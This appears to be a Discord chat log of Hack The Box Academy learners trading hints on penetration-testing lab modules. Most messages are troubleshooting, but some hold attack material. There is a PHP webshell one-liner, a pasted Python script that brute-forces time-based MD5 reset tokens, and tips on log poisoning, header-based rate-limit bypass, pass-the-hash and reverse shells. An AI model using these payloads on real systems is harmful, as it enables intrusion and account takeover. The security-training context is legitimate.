You have to query the individual subdomains with dig AXFR or with dig www.subdomain.domain.tld, dig ns.subdomain.domain.tld, dig ns01.subdomain.domain.tld, dig mail.subdomain.domain.tld, etc. You can use scripts or software to do this. But start with a small list of hosts.
If dig AXFR returns a corresponding answer or you get an IP address back with your dig queries, then it is a zone.

[real hill]

wow nice, I understand it now, thank you 🙂

[acoustic owl]

So that you don't have to query every subdomain, most of which will be hosts anyway, it makes sense to think about which subdomain might be a zone.

For example, www or even ns will be a server (host) in most cases and not a zone.
Zones are usually departments in a company.

[tiny ledge]

Any tips how can I find flag hidden in environment variables after getting shell ?

[turbid hull]

@rustic sagehi ,i am having the same issue, any hint ?

nvm, i found the answer ❤️

[tiny ledge]

Seriously is this broken, all I can find is this:

printenv, gives me this:

[turbid hull]

well it was working, but now it's not, i really don't know, i did not change anything....

[turbid hull]

I think skill assesment file inclusion module is litteraly full of bug

try to env and grep what you want

[tiny ledge]

Okay I got the flag, but holy shit I had to work for it, grepping doesn't work and the file location is completely wack, can someone explain me easier way than: searching through the entire space for the word HTB{*, then copy pasting the entire file to a notepad and searching for the correct word, does not seem right. | grepping for the word from the file does not work

[lethal atlas]

If you are referring to the SSTI Exploitation Example 1 question, DM me and I will show you the way

[cold marsh]

need help with file upload module DM me plx

[hollow knot]

With whom should I be in contact considering I only got 10/20 cubes from the tunneling/portfwd etf course?

not that it matters much since I only need T3+ courses but still

[edgy flame]

For the Privileged Access section of the AD Enumeration and Attacks module, I am having trouble with the third question: "Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt." The hint says to do this with mssqlclient.py with is an impacket tool yet the attack machine is a windows box. Can anyone help?

[rough radish]

Hey guys/
Server-side Attacks
SSTI Exploitation Example 1
A bit confused on executing this task, I cannot dump the template environment/ does this mean cat the proc/self/environ?

[lethal atlas]

no. Check out the part in that section about curl

[west canopy]

@hollow knot Isn't that standard? Spend 100 cubes and get 20 back upon completion?

@tiny ledge which module/section is that? Running cat on a Binary won't work (because of ascii data vs binary data)

[hollow knot]

yeah but I got only 10

[west canopy]

ah

Yes I think i got 10 cubes as well

[hollow knot]

it was first listed as 10 cubes back then it got increased to the default 20%

[turbid hull]

So, i am still stuck on the File Inclusion module any hint would be amazing. || I already find the "panel", i tryied to do log poisoning on access.log, error.log, every /proc/ i found. Around 11. i also tryied /var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log , I also tryied php session poisoning without success since no php_session file. I also tryied to upload a file from the ?message= ... Without success. I tryied doing a server in python http, smb, ftp || just need someone to evaluate if probably did something wrong or if i need to check further

[rough radish]

Still not getting anywhere

[rustic sage]

hello

where is the links of how to hack?

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rustic sage]

this ^

so, complete the hack the box academy courses?

[shut owl]

Has anyone completed the File Inclusion Skills Assessment here? I'm really close and on the last step, but I just need a hint.

[quick cave]

Hi all, I'm a bit stuck with the Basic Bypasses of File Inclusion. Even though I understand the hint posted at the question, I'm only getting the message: Illegal path specified!

[shut owl]

I can help with that, let me take a look

[rustic sage]

before there were some links here of places that taught hacking

they are gone?

[lethal atlas]

DM me

[lethal atlas]

DM me

[lethal atlas]

dm me

[lofty pollen]

Has anyone completed the windows findamentals Skills Assessment here? I'm really close and on the last step, but I just need a hint.

[lyric inlet]

Hello

On pivoting module

proxychains xfreerdp /u:victor /p:pass@123 /v:172.16.5.19 ==> logon failure ?

[tiny ledge]

But with -a I get all the text in the file, It's Server-Side Attacks | SSTI Exploitation Example 1

[lethal atlas]

that question uses curl

[upper niche]

Dm :)

[pallid gate]

can you provide more details ?

[west canopy]

@lofty pollen Which question? Looking for the SID of the HR security group?

[lofty pollen]

Yeah

[west canopy]

@lofty pollen try this command from powershell: (Get-Localgroup HR).SID

[sweet heron]

We are a couple user who did not get a hit on the right password using crackmapexec tool. We got it working with a metasploit module for smb_login. DM for more details and/or screenshots.

[turbid hull]

@upper niche I found the answer, sk4reKr0w helped me

[upper niche]

Okay

[iron basin]

Anybody know how to do Knowledge Check part of getting started module? Or have resources for it?

[turbid hull]

on hack the box

You mean the part you have to do retired box and challenge ?

[lofty pollen]

https://tenor.com/view/that-helped-me-so-much-emily-ghoul-xset-i-had-support-it-has-allowed-me-gif-22058106

[iron basin]

@turbid hull The last part of the module, Knowledge Check. It is a box you have to try your knowledge out on. A bit stuck on it.

[west canopy]

@iron basin for the initial foothold, try using metasploit to look for an exploit against GetSimpleCMS. For the privilege escalation it's a GTFObin 🙂

[iron basin]

@west canopy yeah I got the exploit to work. Got meterperter working but trying to get it to connect to another way so I have a better shell

[iron basin]

Well I got the user.txt

[wind gust]

has anyone done Perform a DCSync attack and submit the NTLM hash for the khartsfield user as your answer.

[devout cliff]

does anyone know how to have wfuzz fuzz multiple things? like if i wanted to fuzz <filename>.<extension>

and i have two seperate wordlists

or is there a better tool for that

[west canopy]

@iron basin from meterpreter, you can drop into a regular OS shell with the command: shell

[weary forum]

Hello everyone. I am new to Linux, so I am learning about stderr, stdin, etc. My teacher asked me what the actual path was for dev/stderr.

It's actually very confusing because I always assumed that /dev/stderr was a child of the "/" folder, and so the actual path to stderr was /dev/stderr.

[turbid hull]

You can set up 2 keyword

They talk about that in the ffuf htb academy course 👍

[sweet heron]

Windows Privilege Escalation, Communication with Processes: I can't find the answer of question two on what account has WRITE_DAC privileges over the \pipe\SQLLocal\SQLEXPRESS01. NT\Service or MSSQL are not valid answers... I'm not sure I understand.

[west canopy]

@sweet heron

[sweet heron]

I see! Thanks!

[pliant summit]

hey in getting started module

im in the nibble initial foothold section and managed to get reverse shell but there is no user.txt file to give me the flag

I tried it with two ways, using a metasploit module and doing manually but both ways I just have the db.xml file and if I upload a script, the file of that. there is no user.txt file

and I did try resetting the machine as well

[summer lake]

maybe try: find / -iname user.txt 2>/dev/null

[pliant summit]

its cool in meterpreter too right?

[summer lake]

maybe type shell first

[shut bronze]

LFi module stuck here

how im supposed to read the flag located at /

if its owned by root n im not in localnet

[west canopy]

@shut bronze the flag is that super long .txt file, all users have read permission so we should be able to cat it

[pliant summit]

thanks bro it found it. Turns out was just in another directory. that command literally just searches for the file on the system and writes errors to trash right?

[summer lake]

datz right

but it has to be the same exact name user.txt

[dapper granite]

oh umm

idk abt this server

can u guys

help me?

[summer lake]

Has anyone finished attacking common services module here?

[dapper granite]

whats that?

[shut bronze]

yeah it works ty

[dapper granite]

uhm'

guys

gUyS

[shadow verge]

is the pivoting module broken? The given credentials victor:pass@123 does not work with the dc.

I am at netsh section

[broken saffron]

Hi everyone i'm having this error someone had the same issue with Pivoting module section: RDP and Socks Tunneling?

When I tried to run : regsvr32.exe SocksOverRDP-Plugin.dll shows me an error regarding may not be compatible and I download x64 version and send to the machine

[rancid holly]

has anyone recently solved lfi module skill assessment
I am at the poisoning step, I can see the logs being poisoned when trying with a sample text, but when I pass the shell code it doesn't work

don't know what I am doing wrong, or is the problem related to box

[golden flame]

Hey hackers. I'm going through the Active Subdomain Enumeration section of Information Gathering - Web Edition module, and I'm a bit puzzled by those questions there. I.e. how can check the FQDN of the nameserver for the inlanefreight.htb, if it doesn't resolve to anything. I guessed it is ns.inlanefreight.htb but it won't help me with the next questions. I'm using the spawnbox.

[rustic sage]

Can someone give me an answer for "What addressing mechanism is used at the Link Layer of the TCP/IP model?". I've brutforced any format of "MAC Addressing" answer but no luck

[rancid holly]

answer should be MAC Address

[rustic sage]

it keeps telling me it's wrong 😦

[tiny ledge]

Any Headsup for the server side attacks skills assessment, I'm not sure how to start it, cant find anything with curl and can't get the shell

[snow coyote]

Does anyone know where i can contact someone that i could update the web requests module? It seems that the Server, which is supposed to contact from the questions changed it's Apache version. So if i do an simple GET request to the server, it will tell me that the current version is 2.4.29, while the correct answer is 2.4.42 (found that out through the picture used in the explaining part)

[spare condor]

I dm you regarding this one. @acoustic owl

[summer lake]

Is it me or is the attacking common services RDP is abnormally slow

[stone jacinth]

I think, Yes

[summer lake]

):

[hollow knot]

I'd need a nudge on windows lpe module skills exam part 1 why my exploit won't work

[torpid roost]

Morning, I think I put this in the wrong chat before but Im a little confused on how to find user 5 in the SQL injection module

[torpid roost]

I keep getting in but it keeps coming up admin and no flag

It's been 2 days. Just s hint, maybe look at my commands to further assist

[broken warren]

Has anyone done command injections module recently? I'm going back through revising my notes, but on the other injection operators question. I don't get the same result as I did the first time I submitted my answer.

[summer lake]

they changed some answers in some modules

[summer lake]

I've asked the support team before

[torpid roost]

I was able to figue ir out

[west canopy]

@hollow knot When i went through the module I ended up using an exe version of PrintNightmare, but i have had a few people tell me it did not work for them. There is however a version of juicypotato that should work. I will DM you 🙂

@snow coyote maybe try messaging the author 21y4d. I reported a somewhat similar issue on a different module , it seems there is sometimes variations depending on the docker container of the spawned target

[rustic mountain]

a

a

[naive ravine]

Major Spoilers!

If anyone if having major issues in the "Broken Authentication" Module, "Predictable Reset Token" section, question 1, the following modified script should help you solve this question. I shared it because it is one of the most toughest questions that I have faced so far, from the content that I did so far. Hope this helps.

||--------------------------------------------------------- Start of Python Script ---------------------------------------------------------

#!/usr/bin/python3

from hashlib import md5
import requests
from sys import exit
from time import time

Change the url to your target / victim

url = "http://<ip-address>:<service-port>/question1/"

To have a wide window try to bruteforce starting from 1050 seconds ago till 1050 seconds after.

Change now and username variables as needed. IMPORTANT! the value for now has to be epoch time

stamp in milliseconds, example 1654627487000 and not epoch timestamp, example 1654627487.

now = 1654627487000
start_time = now - 1050
end_time = now + 1050
fail_text = "Wrong token"
username = "htbadmin"

loop from start_time to now. + 1 is needed because of how range() works

for x in range(start_time, end_time + 1):
# get token md5
timestamp = str(x)
md5_token = md5((username+timestamp).encode()).hexdigest()
data = {
"submit": "check",
"token": md5_token
}

print("checking {} {}".format(str(x), md5_token))

# send the request
res = requests.post(url, data=data)

# response text check
if not fail_text in res.text:
    print(res.text)
    print("[*] Congratulations! raw reply printed before")
    exit()

---------------------------------------------------------- End of Python Script ----------------------------------------------------------||

[mortal basin]

Will look into it

[west canopy]

@naive ravine As a python noob, that section kicked my butt lol

[polar widget]

Yo guys
Anybody who has solved the skills assessment of "Cracking passwords with hashcat"

I am solving the very last question, and I'm pretty sure my answer is correct as of now (until proven wrong) ,
But its actually incorrect

I wanna discuss that

Oh god I just did it

[knotty falcon]

Hi everyone, I could use some help with the File Upload Attacks: Whitelist Filters exercise. Using Burp Intruder and the extensions.lst word-list from PayloadAllTheThings, I've found 3 extensions that returned a "File Successfully Uploaded" response from the Intruder attack to find extensions that will bypass the site's file extension filters. I also modified the file's content to include the webshell <?php system($_REQUEST['cmd']); ?>

However, when I try to browse to the file that had the valid extensions, the response always returns "Not Found"

Why is Burp Intruder telling me that the file is successfully uploaded but I can never find it when I browse to it?

[sweet heron]

Windows Privilege Escalation, Server Operators' section. Hmm.. how do you access that flag? The hack worked, but access is still denied.

[west canopy]

@sweet heron i ended up using wmiexec.py and passed the hash for the administrator user

[sweet heron]

Thanks! We're lucky to have you!

[thick raptor]

hey someone could give me a hint on the Footprinting Lab-Hard, I'm stuck.
I have used ssh private key to log into the host, but I can't find any info about htb account

[stable sparrow]

Can anyone give me a little hint on how to get the second question for Web Service & API Attacks - Information Disclosure (with a twist of SQLi)?
Identify the username of the user that has a position of 736373 through SQLi. Submit it as your answer.

None of the "Classic SQLi payloads" I try returns anything of value..

[sage jackal]

Can someone help me figure out how to complete the Broken Authentication Module - Weak Bruteforce Protections Section? I can’t figure out how to bruteforce the usernames and passwords while also including this header on requests. Can’t make the included python script to work

I’ve tried instead of using the included script to use Hydra but not sure if I’ve sent the request correctly with the X-Forwarded-For header cause it didn’t seem to work.

[west canopy]

@stable sparrow have you tried using SQLMap?

@sage jackal one sec I will DM you 🙂

[stable sparrow]

I've tried using SQLmap, but it keeps failing as "theres a possibility that the target is dropping 'suspicious' requests".. not sure how to get this working..

[west canopy]

@thick raptor after you SSH into the target, try connecting to the mysql database 🙂

[thick raptor]

I solved the problem, thanks for the tip

[rustic sage]

Hey there. If someone could point me in the right direction regarding the Broken Authentication Module - Weak Bruteforce Protections. I've altered the python bruteforce script to bypass the rate limiting and have so far tried thousands of user:pass combinations. None of them seem to work however..

[rustic sage]

Hello, I have a noob question:D I am struggling a little bit with SQL injection on HTB challenge.... what is the easiest way to run netcat for reverse shell here, is it possible?
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}

Injection could be done via $ip_address (from http header), thanks for any hints 🙏

[split fable]

Hi can someone give me an on Broken Authentication - Skill Assessment ? I have found the encoding algorithm for the cookie and login as admin user (only via burp otherwise i get redirected because not enough privileges) but from here i do not know what to do. I have also tried to bruteforce the password of rhe admin user following the policy password and rockyou.txt with no success... any hint?

[split fable]

this is the filter for the passwords used ||grep '^[[:upper:]]' rockyou.txt | grep '[[:digit:]]$' | grep "[[:punct:]]" | grep -E '^.{20,}$'||

[rustic sage]

hello where is the general chat ??

[novel matrix]

in #welcome

[remote solar]

hey can someone give me a nudge? I am stuck on the last part of the Linux Privilege Escalation module

"Use the privileged group rights of the secaudit user to locate a flag."

[split fable]

secaudit is in the adm group?

[spare condor]

@distant stream Hey! I have the same issue. I can't see any port with FTP (Attacking Common Application/Attacking FTP)

[distant stream]

Scan all ports …

[spare condor]

I do 🤔 Can I DM you?

[distant stream]

Sure

[vital adder]

I helped someone and we both found out the DNS section of that module could be buggy and it maybe impossible to find the subdomain that have the flag if that subdomain isn't in the hosts file already

[spare condor]

How did you resolve this?

[vital adder]

i didn't, i just give that person the subdomain so keep that in mind when you are doing that part

[spare condor]

What subdomain though? Are we suppose to "find" this?

[vital adder]

that this a big spoiler but if you are using the subdomains-top1million-110000.txt wordlist you should find all of the subdomain ||in the top 1000||

[broken warren]

On command injections advanced commandd obfuscation why is it when I input the example , a base64 encoded command 'cat /etc/passwd | grep 33' the command works, but if I try the doing 'ls /usr/share | grep' I immediately get an error? Is this because there is a filter blocking that specific string? Am very confused

[vital adder]

in the command 'ls /usr/share | grep' you need to specifind what are you greping

[rustic sage]

Hi someone have done BUG BOUNTY HUNTING PROCESS? I have big problem with question o.O I appreciate the help

[vital adder]

what question do you need help?

[rocky surge]

hello

Hello everyone!!!

Could you see my messages

Yes Bro

[spare condor]

Attacking Common Services/Attacking FTP.

I can't see any port with FTP service on.
Is there a problem with the module or am I missing something?

[summer lake]

I think you need to reset the server

[lethal atlas]

I had to try several of the extensions before I found one that actually worked. DM me if you wanna chat further

[spare condor]

I already did...both the pwnbox AND the target machine....

[summer lake]

try scan all ports first

i think the FTP wasn't on the default port

[opaque elm]

Hi, in using the metasploit framework in ** meterpreter** when i use this exploit with MSF iis_webdav_upload_asp i have an error like this one Upload failed on /metasploit399594.txt [404 Not Found]

[spare condor]

I already did this too...I know it's not on the default ports...But I can't see it..

[summer lake]

that's weird

let me give me it a try

[spare condor]

Okay, please let me know if you find out what's "wrong"

[summer lake]

taking along time to do a scan

• a long

[ebon pine]

Has anyone been having issues going to full screen mode within the module instances after updating to Monterey or am I all alone here?

[spare condor]

Okay, I think it's fixed(?). Took me long too now, but now I see it.

[summer lake]

ah ok, then i can go sleep noiw

lolol

Have fun!@

[summer lake]

lmk if you manage to finish the DNS part

[spare condor]

hahaha thanks byee

[summer lake]

Im stuck at the DNS

[split fable]

No one? 🙏

[west canopy]

@split fable were you able to get logged in as support.xx?

@remote solar try running a find command to see what files are part of the adm group. The flag is hidden in a log file 🙂

[west canopy]

@rustic sage Yes, the python script to bruteforce never works. Try using either burpsuite or Curl to add the X-Forwarded-For header along with a trusted IP address --- this should allow us to use ANY credentials and still get the flag 🙂

[split fable]

i managed to tamper the session cookie (not the persistent one) and with burp i can view the login page of support.xx but when i follow the redirection it says "user cannot have the requested role"

[acoustic owl]

With which module?

[west canopy]

@split fable right, so we actually need to log in as support.xx. So you will need to filter the rockyou.txt wordlist for words matching the password complexity requirements. Then once you're logged in as the support user, you can tamper the cookie to switch to the admin.xx user.

[hexed kestrel]

i'm currently doing the "using web proxies" module, and am now doing the "Repeating requests" question. it wants me to find a flag on a site, by using repeating requests. i've been searching for quite a while now and i think i've got the hang of how to look for things, but i can't find the flag. any hints on where the file is located?

[west canopy]

@hexed kestrel try checking the root directory. ls /

[hexed kestrel]

yea i just thought of that, had not checked it yet, ty :)

i spent like half an hour looking around in the /var directory lol

[rustic sage]

Hy everyone , I want to access the htb-acadmey target machine from my linux system using SSH , but it's not connecting , no error , just Time out . anyone else facing same issue.

[west canopy]

@rustic sage sorry if this is a silly question, but are you connected to the VPN?

[rustic sage]

yep

[west canopy]

which module/section? I can test it on my end

[rustic sage]

web requests

[west canopy]

I don't think there's any section that involves SSH

[rustic sage]

can i dm you

[west canopy]

sure

[coral tree]

Hey everyone, I'm running a windows/smb exploit, having identified the relevant services, exploit & payload to exploit. Having ran the check command in msf, which confirms the vulnerablity & setting the rhost to my target. The exploit gets completed by no session is created, tried a different related payload & still no session. I'm aware there's alot of other exploits I can test. However, rather than fire off other exploits I'd like to first understand & explore why the session didn't create & what I'm missing.
Any ideas/suggestions would be greatly appreciated. Thanks

[west canopy]

@coral tree which module/section is that from?

[coral tree]

@west canopy its the eternalblue & psexec module: windows/smb/ms17. Targeting the 445 port

[west canopy]

is that the Metasploit module?